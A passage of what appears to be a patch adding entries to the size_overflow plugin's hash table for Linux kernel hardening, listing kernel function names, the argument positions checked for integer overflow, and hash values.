sctp_setsockopt_peer_primary_addr 3 13440 _000529_hash NULL ++_000530_hash sctp_setsockopt_rtoinfo 3 30941 _000530_hash NULL ++_000531_hash security_context_to_sid_core 2 29248 _000531_hash NULL ++_000532_hash sel_commit_bools_write 3 46077 _000532_hash NULL ++_000533_hash sel_write_avc_cache_threshold 3 2256 _000533_hash NULL ++_000534_hash sel_write_bool 3 46996 _000534_hash NULL ++_000535_hash sel_write_checkreqprot 3 60774 _000535_hash NULL ++_000536_hash sel_write_disable 3 10511 _000536_hash NULL ++_000537_hash sel_write_enforce 3 48998 _000537_hash NULL ++_000538_hash sel_write_load 3 63830 _000538_hash NULL ++_000539_hash send_bulk_static_data 3 61932 _000539_hash NULL ++_000540_hash set_aoe_iflist 2 42737 _000540_hash NULL ++_000541_hash setkey_unaligned 3 39474 _000541_hash NULL ++_000542_hash set_registers 3 53582 _000542_hash NULL ++_000543_hash setsockopt 5 54539 _000543_hash NULL ++_000544_hash setup_req 3 5848 _000544_hash NULL ++_000545_hash setxattr 4 37006 _000545_hash NULL ++_000546_hash sfq_alloc 1 2861 _000546_hash NULL ++_000547_hash sg_kmalloc 1 50240 _000547_hash NULL ++_000548_hash sgl_map_user_pages 2 30610 _000548_hash NULL ++_000549_hash shash_setkey_unaligned 3 8620 _000549_hash NULL ++_000550_hash shmem_xattr_alloc 2 61190 _000550_hash NULL ++_000551_hash sierra_setup_urb 5 46029 _000551_hash NULL ++_000552_hash simple_transaction_get 3 50633 _000552_hash NULL ++_000553_hash simple_write_to_buffer 2-5 3122 _000553_hash NULL ++_000555_hash sisusb_send_bulk_msg 3 17864 _000555_hash NULL ++_000556_hash skb_add_data 3 48363 _000556_hash NULL ++_000557_hash skb_do_copy_data_nocache 5 12465 _000557_hash NULL ++_000558_hash sl_alloc_bufs 2 50380 _000558_hash NULL ++_000559_hash sl_realloc_bufs 2 64086 _000559_hash NULL ++_000560_hash smk_set_cipso 3 20379 _000560_hash NULL ++_000561_hash smk_write_ambient 3 45691 _000561_hash NULL ++_000562_hash smk_write_direct 3 46363 _000562_hash NULL ++_000563_hash smk_write_doi 3 49621 _000563_hash NULL ++_000564_hash smk_write_logging 3 2618 _000564_hash NULL ++_000565_hash smk_write_mapped 3 13519 _000565_hash NULL ++_000566_hash smk_write_netlbladdr 3 42525 _000566_hash NULL ++_000567_hash smk_write_onlycap 3 14400 _000567_hash NULL ++_000568_hash smk_write_rules_list 3 18565 _000568_hash NULL ++_000569_hash snd_ctl_elem_user_tlv 3 11695 _000569_hash NULL ++_000570_hash snd_emu10k1_fx8010_read 5 9605 _000570_hash NULL ++_000571_hash snd_emu10k1_synth_copy_from_user 3-5 9061 _000571_hash NULL ++_000573_hash snd_gus_dram_poke 4 18525 _000573_hash NULL ++_000574_hash snd_hdsp_playback_copy 5 20676 _000574_hash NULL ++_000575_hash snd_info_entry_write 3 63474 _000575_hash NULL ++_000576_hash snd_korg1212_copy_from 6 36169 _000576_hash NULL ++_000577_hash snd_mem_proc_write 3 9786 _000577_hash NULL ++_000578_hash snd_midi_channel_init_set 1 30092 _000578_hash NULL ++_000579_hash snd_midi_event_new 1 9893 _000764_hash NULL nohasharray ++_000580_hash snd_opl4_mem_proc_write 5 9670 _000580_hash NULL ++_000581_hash snd_pcm_aio_read 3 13900 _000581_hash NULL ++_000582_hash snd_pcm_aio_write 3 28738 _000582_hash NULL ++_000583_hash snd_pcm_oss_write1 3 10872 _000583_hash NULL ++_000584_hash snd_pcm_oss_write2 3 27332 _000584_hash NULL ++_000585_hash snd_rawmidi_kernel_write1 4 56847 _000585_hash NULL ++_000586_hash snd_rme9652_playback_copy 5 20970 _000586_hash NULL ++_000587_hash snd_sb_csp_load_user 3 45190 _000587_hash NULL ++_000588_hash snd_usb_ctl_msg 8 8436 _000588_hash NULL ++_000589_hash sock_bindtodevice 3 50942 _000589_hash NULL ++_000590_hash sock_kmalloc 2 62205 _000590_hash NULL ++_000591_hash spidev_ioctl 2 12846 _000591_hash NULL ++_000592_hash spidev_write 3 44510 _000592_hash NULL ++_000593_hash squashfs_read_table 3 16945 _000593_hash NULL ++_000594_hash srpt_alloc_ioctx 2-3 51042 _000594_hash NULL ++_000596_hash srpt_alloc_ioctx_ring 2-4-3 49330 _000596_hash NULL ++_000597_hash st5481_setup_isocpipes 6-4 61340 _000597_hash NULL ++_000598_hash sta_agg_status_write 3 45164 _000598_hash NULL ++_000599_hash svc_setsockopt 5 36876 _000599_hash NULL ++_000600_hash sys_add_key 4 61288 _000600_hash NULL ++_000601_hash sys_modify_ldt 3 18824 _000601_hash NULL ++_000602_hash sys_semtimedop 3 4486 _000602_hash NULL ++_000603_hash sys_setdomainname 2 4373 _000603_hash NULL ++_000604_hash sys_sethostname 2 42962 _000604_hash NULL ++_000605_hash tomoyo_write_self 3 45161 _000605_hash NULL ++_000606_hash tower_write 3 8580 _000606_hash NULL ++_000607_hash tpm_write 3 50798 _000607_hash NULL ++_000608_hash trusted_instantiate 3 4710 _000608_hash NULL ++_000609_hash trusted_update 3 12664 _000609_hash NULL ++_000610_hash tty_buffer_alloc 2 45437 _000610_hash NULL ++_000611_hash __tun_chr_ioctl 4 22300 _000611_hash NULL ++_000612_hash ubi_more_leb_change_data 4 63534 _000612_hash NULL ++_000613_hash ubi_more_update_data 4 39189 _000613_hash NULL ++_000614_hash ubi_resize_volume 2 50172 _000614_hash NULL ++_000615_hash udf_alloc_i_data 2 35786 _000615_hash NULL ++_000616_hash uea_idma_write 3 64139 _000616_hash NULL ++_000617_hash uea_request 4 47613 _000617_hash NULL ++_000618_hash uea_send_modem_cmd 3 3888 _000618_hash NULL ++_000619_hash uio_write 3 43202 _000619_hash NULL ++_000620_hash um_idi_write 3 18293 _000620_hash NULL ++_000621_hash us122l_ctl_msg 8 13330 _000621_hash NULL ++_000622_hash usb_alloc_urb 1 43436 _000622_hash NULL ++_000623_hash usblp_new_writeurb 2 22894 _000623_hash NULL ++_000624_hash usblp_write 3 23178 _000624_hash NULL ++_000625_hash usbtest_alloc_urb 3-5 34446 _000625_hash NULL ++_000627_hash usbtmc_write 3 64340 _000627_hash NULL ++_000628_hash user_instantiate 3 26131 _000628_hash NULL ++_000629_hash user_update 3 41332 _000629_hash NULL ++_000630_hash uwb_rc_cmd_done 4 35892 _000630_hash NULL ++_000631_hash uwb_rc_neh_grok_event 3 55799 _000631_hash NULL ++_000632_hash v9fs_alloc_rdir_buf 2 42150 _000632_hash NULL ++_000633_hash vc_do_resize 3-4 48842 _000633_hash NULL ++_000635_hash vcs_write 3 3910 _000635_hash NULL ++_000636_hash vga_arb_write 3 36112 _000636_hash NULL ++_000637_hash vga_switcheroo_debugfs_write 3 33984 _000637_hash NULL ++_000638_hash vhci_get_user 3 45039 _000638_hash NULL ++_000639_hash video_proc_write 3 6724 _000639_hash NULL ++_000640_hash vlsi_alloc_ring 3-4 57003 _000640_hash NULL ++_000642_hash __vmalloc 1 61168 _000642_hash NULL ++_000643_hash vmalloc_32 1 1135 _000643_hash NULL ++_000644_hash vmalloc_32_user 1 37519 _000644_hash NULL ++_000645_hash vmalloc_exec 1 36132 _000645_hash NULL ++_000646_hash vmalloc_node 1 58700 _000646_hash NULL ++_000647_hash __vmalloc_node_flags 1 30352 _000647_hash NULL ++_000648_hash vmalloc_user 1 32308 _000648_hash NULL ++_000649_hash vol_cdev_direct_write 3 20751 _000649_hash NULL ++_000650_hash vp_request_msix_vectors 2 28849 _000650_hash NULL ++_000651_hash vring_add_indirect 3-4 20737 _000651_hash NULL ++_000653_hash vring_new_virtqueue 1 9671 _000653_hash NULL ++_000654_hash vxge_os_dma_malloc 2 46184 _000654_hash NULL ++_000655_hash vxge_os_dma_malloc_async 3 56348 _000655_hash NULL ++_000656_hash wdm_write 3 53735 _000656_hash NULL ++_000657_hash wiimote_hid_send 3 48528 _000657_hash NULL ++_000658_hash wlc_phy_loadsampletable_nphy 3 64367 _000658_hash NULL ++_000659_hash write 3 62671 _000659_hash NULL ++_000660_hash write_flush 3 50803 _000660_hash NULL ++_000661_hash write_rio 3 54837 _000661_hash NULL ++_000662_hash x25_asy_change_mtu 2 26928 _000662_hash NULL ++_000663_hash xdi_copy_from_user 4 8395 _000663_hash NULL ++_000664_hash xfrm_dst_alloc_copy 3 3034 _000664_hash NULL ++_000665_hash xfrm_user_policy 4 62573 _000665_hash NULL ++_000666_hash xfs_attrmulti_attr_set 4 59346 _000666_hash NULL ++_000667_hash xfs_handle_to_dentry 3 12135 _000667_hash NULL ++_000668_hash xip_file_read 3 58592 _000668_hash NULL ++_000669_hash __xip_file_write 3-4 2733 _000669_hash NULL ++_000671_hash xprt_rdma_allocate 2 31372 _000671_hash NULL ++_000672_hash zd_usb_iowrite16v_async 3 23984 _000672_hash NULL ++_000673_hash zd_usb_read_fw 4 22049 _000673_hash NULL ++_000674_hash zerocopy_sg_from_iovec 3 11828 _000674_hash NULL ++_000675_hash __a2mp_build 3 60987 _000675_hash NULL ++_000677_hash acpi_ex_allocate_name_string 2-1 7685 _001169_hash NULL nohasharray ++_000678_hash acpi_os_allocate_zeroed 1 37422 _000678_hash NULL ++_000679_hash acpi_ut_initialize_buffer 2 47143 _002830_hash NULL nohasharray ++_000680_hash ad7879_spi_xfer 3 36311 _000680_hash NULL ++_000681_hash add_new_gdb 3 27643 _000681_hash NULL ++_000682_hash add_numbered_child 5 14273 _000682_hash NULL ++_000683_hash add_res_range 4 21310 _000683_hash NULL ++_000684_hash addtgt 3 54703 _000684_hash NULL ++_000685_hash add_uuid 4 49831 _000685_hash NULL ++_000686_hash afs_cell_alloc 2 24052 _000686_hash NULL ++_000687_hash aggr_recv_addba_req_evt 4 38037 _000687_hash NULL ++_000688_hash agp_create_memory 1 1075 _000688_hash NULL ++_000689_hash agp_create_user_memory 1 62955 _000689_hash NULL ++_000690_hash alg_setsockopt 5 20985 _000690_hash NULL ++_000691_hash alloc_async 1 14208 _000691_hash NULL ++_000692_hash ___alloc_bootmem_nopanic 1 53626 _000692_hash NULL ++_000693_hash alloc_buf 1 34532 _000693_hash NULL ++_000694_hash alloc_chunk 1 49575 _000694_hash NULL ++_000695_hash alloc_context 1 41283 _000695_hash NULL ++_000696_hash alloc_ctrl_packet 1 44667 _000696_hash NULL ++_000697_hash alloc_data_packet 1 46698 _000697_hash NULL ++_000698_hash alloc_dca_provider 2 59670 _000698_hash NULL ++_000699_hash __alloc_dev_table 2 54343 _000699_hash NULL ++_000700_hash alloc_ep 1 17269 _000700_hash NULL ++_000701_hash __alloc_extent_buffer 3 15093 _000701_hash NULL ++_000702_hash alloc_group_attrs 2 9194 _000727_hash NULL nohasharray ++_000703_hash alloc_large_system_hash 2 22391 _000703_hash NULL ++_000704_hash alloc_netdev_mqs 1 30030 _000704_hash NULL ++_000705_hash __alloc_objio_seg 1 7203 _000705_hash NULL ++_000706_hash alloc_ring 2-4 15345 _000706_hash NULL ++_000707_hash alloc_ring 2-4 39151 _000707_hash NULL ++_000710_hash alloc_session 1-2 64171 _000710_hash NULL ++_000714_hash alloc_skb 1 55439 _000714_hash NULL ++_000715_hash alloc_skb_fclone 1 3467 _000715_hash NULL ++_000716_hash alloc_smp_req 1 51337 _000716_hash NULL ++_000717_hash alloc_smp_resp 1 3566 _000717_hash NULL ++_000718_hash alloc_ts_config 1 45775 _000718_hash NULL ++_000719_hash alloc_upcall 2 62186 _000719_hash NULL ++_000720_hash altera_drscan 2 48698 _000720_hash NULL ++_000721_hash altera_irscan 2 62396 _000721_hash NULL ++_000722_hash altera_set_dr_post 2 54291 _000722_hash NULL ++_000723_hash altera_set_dr_pre 2 64862 _000723_hash NULL ++_000724_hash altera_set_ir_post 2 20948 _000724_hash NULL ++_000725_hash altera_set_ir_pre 2 54103 _000725_hash NULL ++_000726_hash altera_swap_dr 2 50090 _000726_hash NULL ++_000727_hash altera_swap_ir 2 9194 _000727_hash &_000702_hash ++_000728_hash amd_create_gatt_pages 1 20537 _000728_hash NULL ++_000729_hash aoechr_write 3 62883 _003674_hash NULL nohasharray ++_000730_hash applesmc_create_nodes 2 49392 _000730_hash NULL ++_000731_hash array_zalloc 1-2 7519 _000731_hash NULL ++_000733_hash arvo_sysfs_read 6 31617 _000733_hash NULL ++_000734_hash arvo_sysfs_write 6 3311 _000734_hash NULL ++_000735_hash asd_store_update_bios 4 10165 _000735_hash NULL ++_000736_hash ata_host_alloc 2 46094 _000736_hash NULL ++_000737_hash atalk_sendmsg 4 21677 _000737_hash NULL ++_000738_hash ath6kl_cfg80211_connect_event 7-9-8 13443 _000738_hash NULL ++_000739_hash ath6kl_mgmt_tx 9 21153 _000739_hash NULL ++_000740_hash ath6kl_wmi_proc_events_vif 5 42549 _003190_hash NULL nohasharray ++_000741_hash ath6kl_wmi_roam_tbl_event_rx 3 43440 _000741_hash NULL ++_000742_hash ath6kl_wmi_send_mgmt_cmd 7 17347 _000742_hash NULL ++_000743_hash ath_descdma_setup 5 12257 _000743_hash NULL ++_000744_hash ath_rx_edma_init 2 65483 _000744_hash NULL ++_000745_hash ati_create_gatt_pages 1 4722 _003275_hash NULL nohasharray ++_000746_hash audit_expand 2 2098 _000746_hash NULL ++_000747_hash audit_init_entry 1 38644 _000747_hash NULL ++_000748_hash ax25_sendmsg 4 62770 _000748_hash NULL ++_000749_hash b1_alloc_card 1 36155 _000749_hash NULL ++_000750_hash b43_nphy_load_samples 3 36481 _000750_hash NULL ++_000751_hash batadv_orig_hash_add_if 2 10033 _000751_hash NULL ++_000752_hash batadv_orig_hash_del_if 2 48972 _000752_hash NULL ++_000753_hash batadv_tt_append_diff 4 20588 _000753_hash NULL ++_000754_hash batadv_tt_commit_changes 4 2008 _000754_hash NULL ++_000755_hash batadv_tt_prepare_packet_buff 4 1280 _000755_hash NULL ++_000756_hash bio_copy_user_iov 4 37660 _000756_hash NULL ++_000757_hash __bio_map_kern 3 47379 _000757_hash NULL ++_000758_hash bitmap_resize 2 33054 _000758_hash NULL ++_000759_hash blk_check_plugged 3 50736 _000759_hash NULL ++_000760_hash blk_register_region 1-2 51424 _000760_hash NULL ++_000762_hash bm_entry_write 3 28338 _000762_hash NULL ++_000763_hash bm_realloc_pages 2 9431 _000763_hash NULL ++_000764_hash bm_register_write 3 9893 _000764_hash &_000579_hash ++_000765_hash bm_status_write 3 12964 _000765_hash NULL ++_000766_hash br_mdb_rehash 2 42643 _000766_hash NULL ++_000767_hash btmrvl_sdio_host_to_card 3 12152 _000767_hash NULL ++_000768_hash btrfs_copy_from_user 1-3 43806 _000768_hash NULL ++_000770_hash btrfs_insert_delayed_dir_index 4 63720 _000770_hash NULL ++_000771_hash __btrfs_map_block 3 49839 _000771_hash NULL ++_000772_hash c4iw_init_resource 2-3 30393 _000772_hash NULL ++_000774_hash cache_downcall 3 13666 _000774_hash NULL ++_000775_hash cache_slow_downcall 2 8570 _000775_hash NULL ++_000776_hash caif_seqpkt_sendmsg 4 22961 _000776_hash NULL ++_000777_hash caif_stream_sendmsg 4 9110 _000777_hash NULL ++_000778_hash carl9170_cmd_buf 3 950 _000778_hash NULL ++_000779_hash cdev_add 2-3 38176 _000779_hash NULL ++_000781_hash cdrom_read_cdda 4 50478 _000781_hash NULL ++_000782_hash ceph_dns_resolve_name 2 62488 _000782_hash NULL ++_000783_hash ceph_msgpool_get 2 54258 _000783_hash NULL ++_000784_hash cfg80211_connect_result 4-6 56515 _000784_hash NULL ++_000786_hash cfg80211_disconnected 4 57 _000786_hash NULL ++_000787_hash cfg80211_inform_bss 8 19332 _000787_hash NULL ++_000788_hash cfg80211_inform_bss_frame 4 41078 _000788_hash NULL ++_000789_hash cfg80211_mlme_register_mgmt 5 19852 _000789_hash NULL ++_000790_hash cfg80211_roamed_bss 4-6 50198 _000790_hash NULL ++_000792_hash cgroup_file_write 3 52417 _000792_hash NULL ++_000793_hash cifs_readdata_alloc 1 26360 _000793_hash NULL ++_000794_hash cifs_readv_from_socket 3 19109 _000794_hash NULL ++_000795_hash cifs_writedata_alloc 1 32880 _003097_hash NULL nohasharray ++_000796_hash cnic_alloc_dma 3 34641 _000796_hash NULL ++_000797_hash cnic_init_id_tbl 2 41354 _000797_hash NULL ++_000798_hash configfs_write_file 3 61621 _000798_hash NULL ++_000799_hash construct_key 3 11329 _000799_hash NULL ++_000800_hash context_alloc 3 24645 _000800_hash NULL ++_000801_hash copy_to_user 3 57835 _000801_hash NULL ++_000802_hash cp210x_get_config 4 56229 _000802_hash NULL ++_000803_hash create_attr_set 1 22861 _000803_hash NULL ++_000804_hash create_bounce_buffer 3 39155 _000804_hash NULL ++_000805_hash create_gpadl_header 2 19064 _000805_hash NULL ++_000806_hash _create_sg_bios 4 31244 _000806_hash NULL ++_000807_hash cryptd_alloc_instance 2-3 18048 _000807_hash NULL ++_000809_hash crypto_ahash_setkey 3 55134 _000809_hash NULL ++_000810_hash crypto_alloc_instance2 3 25277 _000810_hash NULL ++_000811_hash crypto_shash_setkey 3 60483 _000811_hash NULL ++_000812_hash cxgb_alloc_mem 1 24007 _000812_hash NULL ++_000813_hash cxgbi_device_portmap_create 3 25747 _000813_hash NULL ++_000814_hash cxgbi_device_register 1-2 36746 _000814_hash NULL ++_000816_hash __cxio_init_resource_fifo 3 23447 _000816_hash NULL ++_000817_hash dccp_sendmsg 4 56058 _000817_hash NULL ++_000818_hash ddp_make_gl 1 12179 _000818_hash NULL ++_000819_hash depth_write 3 3021 _000819_hash NULL ++_000820_hash dev_irnet_write 3 11398 _000820_hash NULL ++_000821_hash dev_set_alias 3 50084 _000821_hash NULL ++_000822_hash dev_write 3 7708 _000822_hash NULL ++_000823_hash dfs_global_file_write 3 6112 _000823_hash NULL ++_000824_hash dgram_sendmsg 4 45679 _000824_hash NULL ++_000825_hash disconnect 4 32521 _000825_hash NULL ++_000826_hash dma_attach 6-7 50831 _000826_hash NULL ++_000828_hash dma_declare_coherent_memory 4-2 14244 _000828_hash NULL ++_000829_hash dn_sendmsg 4 38390 _000829_hash NULL ++_000830_hash dn_setsockopt 5 314 _000830_hash NULL ++_000831_hash do_arpt_set_ctl 4 51053 _000831_hash NULL ++_000832_hash do_dccp_setsockopt 5 54377 _003195_hash NULL nohasharray ++_000833_hash do_ip6t_set_ctl 4 60040 _000833_hash NULL ++_000834_hash do_ipt_set_ctl 4 56238 _000834_hash NULL ++_000835_hash do_jffs2_setxattr 5 25910 _000835_hash NULL ++_000836_hash do_msgsnd 4 1387 _000836_hash NULL ++_000837_hash do_pselect 1 62061 _000837_hash NULL ++_000838_hash do_raw_setsockopt 5 55215 _000838_hash NULL ++_000839_hash do_readv_writev 4 51849 _000839_hash NULL ++_000840_hash do_sync 1 9604 _000840_hash NULL ++_000841_hash dup_array 3 33551 _000841_hash NULL ++_000842_hash ecryptfs_decode_and_decrypt_filename 5 10379 _000842_hash NULL ++_000843_hash ecryptfs_encrypt_and_encode_filename 6 2109 _000843_hash NULL ++_000844_hash ecryptfs_send_message_locked 2 31801 _000844_hash NULL ++_000845_hash edac_device_alloc_ctl_info 1 5941 _000845_hash NULL ++_000846_hash edac_mc_alloc 4 3611 _000846_hash NULL ++_000847_hash edac_pci_alloc_ctl_info 1 63388 _000847_hash NULL ++_000848_hash efivar_create_sysfs_entry 2 19485 _000848_hash NULL ++_000849_hash enable_write 3 30456 _000849_hash NULL ++_000850_hash enclosure_register 3 57412 _000850_hash NULL ++_000851_hash enlarge_skb 2 44248 _002839_hash NULL nohasharray ++_000852_hash evdev_ioctl_handler 2 21705 _000852_hash NULL ++_000853_hash ext4_kvzalloc 1 47605 _000853_hash NULL ++_000854_hash extend_netdev_table 2 21453 _000854_hash NULL ++_000855_hash fcoe_ctlr_device_add 3 1793 _000855_hash NULL ++_000856_hash fd_do_readv 3 51297 _000856_hash NULL ++_000857_hash fd_do_writev 3 29329 _000857_hash NULL ++_000858_hash __feat_register_sp 6 64712 _000858_hash NULL ++_000859_hash __ffs_ep0_read_events 3 48868 _000859_hash NULL ++_000860_hash ffs_ep0_write 3 9438 _000860_hash NULL ++_000861_hash ffs_epfile_read 3 18775 _000861_hash NULL ++_000862_hash ffs_epfile_write 3 48014 _000862_hash NULL ++_000863_hash fib_info_hash_alloc 1 9075 _000863_hash NULL ++_000864_hash fillonedir 3 41746 _000864_hash NULL ++_000865_hash fs_devrw_entry 3 11924 _000865_hash NULL ++_000866_hash fs_path_prepare_for_add 2 61854 _000866_hash NULL ++_000867_hash fuse_fill_write_pages 4 53682 _000867_hash NULL ++_000868_hash fw_device_op_ioctl 2 11595 _000868_hash NULL ++_000869_hash fw_iso_buffer_init 3 54582 _000869_hash NULL ++_000870_hash fw_node_create 2 9559 _000870_hash NULL ++_000871_hash garmin_read_process 3 27509 _000871_hash NULL ++_000872_hash garp_request_join 4 7471 _000872_hash NULL ++_000873_hash generic_perform_write 3 54832 _000873_hash NULL ++_000874_hash gen_pool_add_virt 4 39913 _000874_hash NULL ++_000875_hash get_derived_key 4 61100 _000875_hash NULL ++_000876_hash get_new_cssid 2 51665 _000876_hash NULL ++_000877_hash getxattr 4 24398 _003758_hash NULL nohasharray ++_000878_hash gsm_control_reply 4 53333 _000878_hash NULL ++_000879_hash hcd_alloc_coherent 5 55862 _000879_hash NULL ++_000880_hash hci_sock_sendmsg 4 37420 _000880_hash NULL ++_000881_hash hidraw_ioctl 2 63658 _000881_hash NULL ++_000882_hash hidraw_write 3 31536 _000882_hash NULL ++_000883_hash hid_register_field 2-3 4874 _000883_hash NULL ++_000885_hash hid_report_raw_event 4 2762 _000885_hash NULL ++_000886_hash hpi_alloc_control_cache 1 35351 _000886_hash NULL ++_000887_hash hugetlbfs_read_actor 2-5-4 34547 _000887_hash NULL ++_000890_hash hvc_alloc 4 12579 _000890_hash NULL ++_000891_hash __hwahc_dev_set_key 5 46328 _000891_hash NULL ++_000892_hash i2400m_zrealloc_2x 3 54166 _001549_hash NULL nohasharray ++_000893_hash ib_alloc_device 1 26483 _000893_hash NULL ++_000894_hash ib_create_send_mad 5 1196 _000894_hash NULL ++_000895_hash ibmasm_new_command 2 25714 _000895_hash NULL ++_000896_hash ib_send_cm_drep 3 50186 _000896_hash NULL ++_000897_hash ib_send_cm_mra 4 60202 _003063_hash NULL nohasharray ++_000898_hash ib_send_cm_rtu 3 63138 _000898_hash NULL ++_000899_hash ide_core_cp_entry 3 22636 _000899_hash NULL ++_000900_hash ieee80211_if_write_smps 3 35550 _000900_hash NULL ++_000901_hash ieee80211_if_write_tkip_mic_test 3 58748 _000901_hash NULL ++_000902_hash ieee80211_if_write_tsf 3 36077 _000902_hash NULL ++_000903_hash ieee80211_if_write_uapsd_max_sp_len 3 14233 _000903_hash NULL ++_000904_hash ieee80211_if_write_uapsd_queues 3 51526 _000904_hash NULL ++_000905_hash ieee80211_key_alloc 3 19065 _000905_hash NULL ++_000906_hash ieee80211_send_probe_req 6-4 6924 _000906_hash NULL ++_000907_hash ieee80211_skb_resize 3 50211 _000907_hash NULL ++_000908_hash if_spi_host_to_card 4 62890 _000908_hash NULL ++_000909_hash if_writecmd 2 815 _000909_hash NULL ++_000910_hash init_bch 1-2 64130 _000910_hash NULL ++_000912_hash init_ipath 1 48187 _000912_hash NULL ++_000913_hash init_list_set 2-3 39188 _000913_hash NULL ++_000915_hash init_q 4 132 _000915_hash NULL ++_000916_hash init_state 2 60165 _000916_hash NULL ++_000917_hash init_tag_map 3 57515 _000917_hash NULL ++_000918_hash input_ff_create 2 21240 _000918_hash NULL ++_000919_hash input_mt_init_slots 2 31183 _000919_hash NULL ++_000920_hash interfaces 2 38859 _000920_hash NULL ++_000921_hash int_hardware_entry 3 36833 _000921_hash NULL ++_000922_hash int_hw_irq_en 3 46776 _000922_hash NULL ++_000923_hash int_tasklet_entry 3 52500 _000923_hash NULL ++_000924_hash ioat2_alloc_ring 2 11172 _000924_hash NULL ++_000925_hash ip_generic_getfrag 3-4 12187 _000925_hash NULL ++_000927_hash ip_options_get_alloc 1 7448 _000927_hash NULL ++_000928_hash ipr_alloc_ucode_buffer 1 40199 _000928_hash NULL ++_000929_hash ip_set_alloc 1 57953 _000929_hash NULL ++_000930_hash ip_setsockopt 5 33487 _000930_hash NULL ++_000931_hash ipv6_flowlabel_opt 3 58135 _001179_hash NULL nohasharray ++_000932_hash ipv6_renew_options 5 28867 _000932_hash NULL ++_000933_hash ipv6_setsockopt 5 29871 _000933_hash NULL ++_000934_hash ipxrtr_route_packet 4 54036 _000934_hash NULL ++_000935_hash irda_sendmsg 4 4388 _000935_hash NULL ++_000936_hash irda_sendmsg_dgram 4 38563 _000936_hash NULL ++_000937_hash irda_sendmsg_ultra 4 42047 _000937_hash NULL ++_000938_hash irias_add_octseq_attrib 4 29983 _000938_hash NULL ++_000939_hash irq_alloc_generic_chip 2 26650 _000939_hash NULL ++_000940_hash iscsi_alloc_session 3 49390 _000940_hash NULL ++_000941_hash iscsi_create_conn 2 50425 _000941_hash NULL ++_000942_hash iscsi_create_endpoint 1 15193 _000942_hash NULL ++_000943_hash iscsi_create_iface 5 38510 _000943_hash NULL ++_000944_hash iscsi_decode_text_input 4 58292 _000944_hash NULL ++_000945_hash iscsi_pool_init 2-4 54913 _000945_hash NULL ++_000947_hash iscsit_dump_data_payload 2 38683 _000947_hash NULL ++_000948_hash isdn_write 3 45863 _000948_hash NULL ++_000949_hash isku_receive 4 54130 _000949_hash NULL ++_000950_hash islpci_mgt_transaction 5 23610 _000950_hash NULL ++_000951_hash iso_alloc_urb 4-5 45206 _000951_hash NULL ++_000952_hash iso_sched_alloc 1 13377 _003325_hash NULL nohasharray ++_000953_hash iwl_trans_txq_alloc 3 36147 _000953_hash NULL ++_000954_hash ixgbe_alloc_q_vector 4-6 24439 _000954_hash NULL ++_000956_hash jbd2_journal_init_revoke 2 51088 _000956_hash NULL ++_000957_hash jffs2_write_dirent 5 37311 _000957_hash NULL ++_000958_hash journal_init_revoke 2 56933 _000958_hash NULL ++_000959_hash keyctl_instantiate_key 3 41855 _000959_hash NULL ++_000960_hash keyctl_instantiate_key_iov 3 16969 _000960_hash NULL ++_000961_hash __kfifo_from_user 3 20399 _000961_hash NULL ++_000962_hash kimage_crash_alloc 3 3233 _000962_hash NULL ++_000963_hash kimage_normal_alloc 3 31140 _000963_hash NULL ++_000964_hash kmem_realloc 2 37489 _000964_hash NULL ++_000965_hash kmem_zalloc 1 11510 _000965_hash NULL ++_000966_hash koneplus_sysfs_read 6 42792 _000966_hash NULL ++_000967_hash kvm_kvzalloc 1 52894 _000967_hash NULL ++_000968_hash kvm_read_guest_page_mmu 6 37611 _000968_hash NULL ++_000969_hash kvm_set_irq_routing 3 48704 _000969_hash NULL ++_000970_hash kvm_write_guest_cached 4 11106 _000970_hash NULL ++_000971_hash kvm_write_guest_page 5 63555 _002812_hash NULL nohasharray ++_000972_hash kzalloc_node 1 24352 _000972_hash NULL ++_000973_hash l2cap_skbuff_fromiovec 3-4 35003 _000973_hash NULL ++_000975_hash l2tp_ip_sendmsg 4 50411 _000975_hash NULL ++_000976_hash l2tp_session_create 1 25286 _000976_hash NULL ++_000977_hash lc_create 3 48662 _000977_hash NULL ++_000978_hash leaf_dealloc 3 29566 _000978_hash NULL ++_000979_hash linear_conf 2 23485 _003837_hash NULL nohasharray ++_000980_hash llc_ui_sendmsg 4 24987 _000980_hash NULL ++_000981_hash load_module 2 60056 _003010_hash NULL nohasharray ++_000982_hash lpfc_sli4_queue_alloc 3 62646 _000982_hash NULL ++_000983_hash mdiobus_alloc_size 1 52259 _000983_hash NULL ++_000984_hash mempool_create_node 1 3191 _000984_hash NULL ++_000985_hash mem_read 3 57631 _000985_hash NULL ++_000986_hash memstick_alloc_host 1 142 _000986_hash NULL ++_000987_hash mem_swapout_entry 3 32586 _000987_hash NULL ++_000988_hash mem_write 3 22232 _000988_hash NULL ++_000989_hash mesh_table_alloc 1 22305 _000989_hash NULL ++_000990_hash mfd_add_devices 4 16668 _000990_hash NULL ++_000991_hash mISDN_sock_sendmsg 4 41035 _000991_hash NULL ++_000992_hash mlx4_init_icm_table 4-5 2151 _000992_hash NULL ++_000994_hash mmc_alloc_host 1 48097 _000994_hash NULL ++_000995_hash mmc_test_alloc_mem 2-3 28102 _000995_hash NULL ++_000997_hash mon_bin_ioctl 3 2771 _000997_hash NULL ++_000998_hash mpi_alloc 1 18094 _000998_hash NULL ++_000999_hash mpihelp_mul_karatsuba_case 5-3 23918 _003061_hash NULL nohasharray ++_001000_hash __mptctl_ioctl 2 15875 _001000_hash NULL ++_001001_hash mtd_concat_create 2 14416 _001001_hash NULL ++_001002_hash mthca_alloc_cq_buf 3 46512 _001002_hash NULL ++_001003_hash mvumi_alloc_mem_resource 3 47750 _001003_hash NULL ++_001004_hash mwifiex_11n_create_rx_reorder_tbl 4 63806 _001004_hash NULL ++_001005_hash mwifiex_alloc_sdio_mpa_buffers 2-3 60961 _001005_hash NULL ++_001007_hash mwl8k_cmd_set_beacon 4 23110 _001007_hash NULL ++_001008_hash neigh_hash_alloc 1 17595 _001008_hash NULL ++_001009_hash __netdev_alloc_skb 2 18595 _001009_hash NULL ++_001010_hash __netlink_change_ngroups 2 46156 _001010_hash NULL ++_001011_hash netlink_sendmsg 4 33708 _001236_hash NULL nohasharray ++_001012_hash netxen_alloc_sds_rings 2 13417 _001012_hash NULL ++_001013_hash new_bind_ctl 2 35324 _001013_hash NULL ++_001014_hash new_dir 3 31919 _001014_hash NULL ++_001015_hash new_tape_buffer 2 32866 _001015_hash NULL ++_001016_hash nfc_llcp_build_tlv 3 19536 _001016_hash NULL ++_001017_hash nfc_llcp_send_i_frame 3 59130 _001017_hash NULL ++_001018_hash nf_ct_ext_create 3 51232 _001018_hash NULL ++_001019_hash nfs4_alloc_pages 1 48426 _001019_hash NULL ++_001020_hash 